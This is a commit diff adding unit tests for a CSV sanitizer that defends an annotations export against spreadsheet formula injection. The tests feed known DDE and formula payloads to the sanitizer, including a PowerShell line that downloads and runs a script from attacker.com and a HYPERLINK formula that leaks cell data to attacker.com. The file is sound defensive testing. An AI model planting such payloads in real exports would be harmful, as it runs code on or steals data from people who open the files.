fix: csv injection in annotations export (#29462)

Co-authored-by: hj24 <huangjian@dify.ai>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

api/tests/unit_tests/core/helper/test_csv_sanitizer.py

@@ -0,0 +1,151 @@
+"""Unit tests for CSV sanitizer."""
+
+from core.helper.csv_sanitizer import CSVSanitizer
+
+
+class TestCSVSanitizer:
+    """Test cases for CSV sanitization to prevent formula injection attacks."""
+
+    def test_sanitize_formula_equals(self):
+        """Test sanitizing values starting with = (most common formula injection)."""
+        assert CSVSanitizer.sanitize_value("=cmd|'/c calc'!A0") == "'=cmd|'/c calc'!A0"
+        assert CSVSanitizer.sanitize_value("=SUM(A1:A10)") == "'=SUM(A1:A10)"
+        assert CSVSanitizer.sanitize_value("=1+1") == "'=1+1"
+        assert CSVSanitizer.sanitize_value("=@SUM(1+1)") == "'=@SUM(1+1)"
+
+    def test_sanitize_formula_plus(self):
+        """Test sanitizing values starting with + (plus formula injection)."""
+        assert CSVSanitizer.sanitize_value("+1+1+cmd|'/c calc") == "'+1+1+cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("+123") == "'+123"
+        assert CSVSanitizer.sanitize_value("+cmd|'/c calc'!A0") == "'+cmd|'/c calc'!A0"
+
+    def test_sanitize_formula_minus(self):
+        """Test sanitizing values starting with - (minus formula injection)."""
+        assert CSVSanitizer.sanitize_value("-2+3+cmd|'/c calc") == "'-2+3+cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("-456") == "'-456"
+        assert CSVSanitizer.sanitize_value("-cmd|'/c notepad") == "'-cmd|'/c notepad"
+
+    def test_sanitize_formula_at(self):
+        """Test sanitizing values starting with @ (at-sign formula injection)."""
+        assert CSVSanitizer.sanitize_value("@SUM(1+1)*cmd|'/c calc") == "'@SUM(1+1)*cmd|'/c calc"
+        assert CSVSanitizer.sanitize_value("@AVERAGE(1,2,3)") == "'@AVERAGE(1,2,3)"
+
+    def test_sanitize_formula_tab(self):
+        """Test sanitizing values starting with tab character."""
+        assert CSVSanitizer.sanitize_value("\t=1+1") == "'\t=1+1"
+        assert CSVSanitizer.sanitize_value("\tcalc") == "'\tcalc"
+
+    def test_sanitize_formula_carriage_return(self):
+        """Test sanitizing values starting with carriage return."""
+        assert CSVSanitizer.sanitize_value("\r=1+1") == "'\r=1+1"
+        assert CSVSanitizer.sanitize_value("\rcmd") == "'\rcmd"
+
+    def test_sanitize_safe_values(self):
+        """Test that safe values are not modified."""
+        assert CSVSanitizer.sanitize_value("Hello World") == "Hello World"
+        assert CSVSanitizer.sanitize_value("123") == "123"
+        assert CSVSanitizer.sanitize_value("test@example.com") == "test@example.com"
+        assert CSVSanitizer.sanitize_value("Normal text") == "Normal text"
+        assert CSVSanitizer.sanitize_value("Question: How are you?") == "Question: How are you?"
+
+    def test_sanitize_safe_values_with_special_chars_in_middle(self):
+        """Test that special characters in the middle are not escaped."""
+        assert CSVSanitizer.sanitize_value("A = B + C") == "A = B + C"
+        assert CSVSanitizer.sanitize_value("Price: $10 + $20") == "Price: $10 + $20"
+        assert CSVSanitizer.sanitize_value("Email: user@domain.com") == "Email: user@domain.com"
+
+    def test_sanitize_empty_values(self):
+        """Test handling of empty values."""
+        assert CSVSanitizer.sanitize_value("") == ""
+        assert CSVSanitizer.sanitize_value(None) == ""
+
+    def test_sanitize_numeric_types(self):
+        """Test handling of numeric types."""
+        assert CSVSanitizer.sanitize_value(123) == "123"
+        assert CSVSanitizer.sanitize_value(456.789) == "456.789"
+        assert CSVSanitizer.sanitize_value(0) == "0"
+        # Negative numbers should be escaped (start with -)
+        assert CSVSanitizer.sanitize_value(-123) == "'-123"
+
+    def test_sanitize_boolean_types(self):
+        """Test handling of boolean types."""
+        assert CSVSanitizer.sanitize_value(True) == "True"
+        assert CSVSanitizer.sanitize_value(False) == "False"
+
+    def test_sanitize_dict_with_specific_fields(self):
+        """Test sanitizing specific fields in a dictionary."""
+        data = {
+            "question": "=1+1",
+            "answer": "+cmd|'/c calc",
+            "safe_field": "Normal text",
+            "id": "12345",
+        }
+        sanitized = CSVSanitizer.sanitize_dict(data, ["question", "answer"])
+
+        assert sanitized["question"] == "'=1+1"
+        assert sanitized["answer"] == "'+cmd|'/c calc"
+        assert sanitized["safe_field"] == "Normal text"
+        assert sanitized["id"] == "12345"
+
+    def test_sanitize_dict_all_string_fields(self):
+        """Test sanitizing all string fields when no field list provided."""
+        data = {
+            "question": "=1+1",
+            "answer": "+calc",
+            "id": 123,  # Not a string, should be ignored
+        }
+        sanitized = CSVSanitizer.sanitize_dict(data, None)
+
+        assert sanitized["question"] == "'=1+1"
+        assert sanitized["answer"] == "'+calc"
+        assert sanitized["id"] == 123  # Unchanged
+
+    def test_sanitize_dict_with_missing_fields(self):
+        """Test that missing fields in dict don't cause errors."""
+        data = {"question": "=1+1"}
+        sanitized = CSVSanitizer.sanitize_dict(data, ["question", "nonexistent_field"])
+
+        assert sanitized["question"] == "'=1+1"
+        assert "nonexistent_field" not in sanitized
+
+    def test_sanitize_dict_creates_copy(self):
+        """Test that sanitize_dict creates a copy and doesn't modify original."""
+        original = {"question": "=1+1", "answer": "Normal"}
+        sanitized = CSVSanitizer.sanitize_dict(original, ["question"])
+
+        assert original["question"] == "=1+1"  # Original unchanged
+        assert sanitized["question"] == "'=1+1"  # Copy sanitized
+
+    def test_real_world_csv_injection_payloads(self):
+        """Test against real-world CSV injection attack payloads."""
+        # Common DDE (Dynamic Data Exchange) attack payloads
+        payloads = [
+            "=cmd|'/c calc'!A0",
+            "=cmd|'/c notepad'!A0",
+            "+cmd|'/c powershell IEX(wget attacker.com/malware.ps1)'",
+            "-2+3+cmd|'/c calc'",
+            "@SUM(1+1)*cmd|'/c calc'",
+            "=1+1+cmd|'/c calc'",
+            '=HYPERLINK("http://attacker.com?leak="&A1&A2,"Click here")',
+        ]
+
+        for payload in payloads:
+            result = CSVSanitizer.sanitize_value(payload)
+            # All should be prefixed with single quote
+            assert result.startswith("'"), f"Payload not sanitized: {payload}"
+            assert result == f"'{payload}", f"Unexpected sanitization for: {payload}"
+
+    def test_multiline_strings(self):
+        """Test handling of multiline strings."""
+        multiline = "Line 1\nLine 2\nLine 3"
+        assert CSVSanitizer.sanitize_value(multiline) == multiline
+
+        multiline_with_formula = "=SUM(A1)\nLine 2"
+        assert CSVSanitizer.sanitize_value(multiline_with_formula) == f"'{multiline_with_formula}"
+
+    def test_whitespace_only_strings(self):
+        """Test handling of whitespace-only strings."""
+        assert CSVSanitizer.sanitize_value("   ") == "   "
+        assert CSVSanitizer.sanitize_value("\n\n") == "\n\n"
+        # Tab at start should be escaped
+        assert CSVSanitizer.sanitize_value("\t  ") == "'\t  "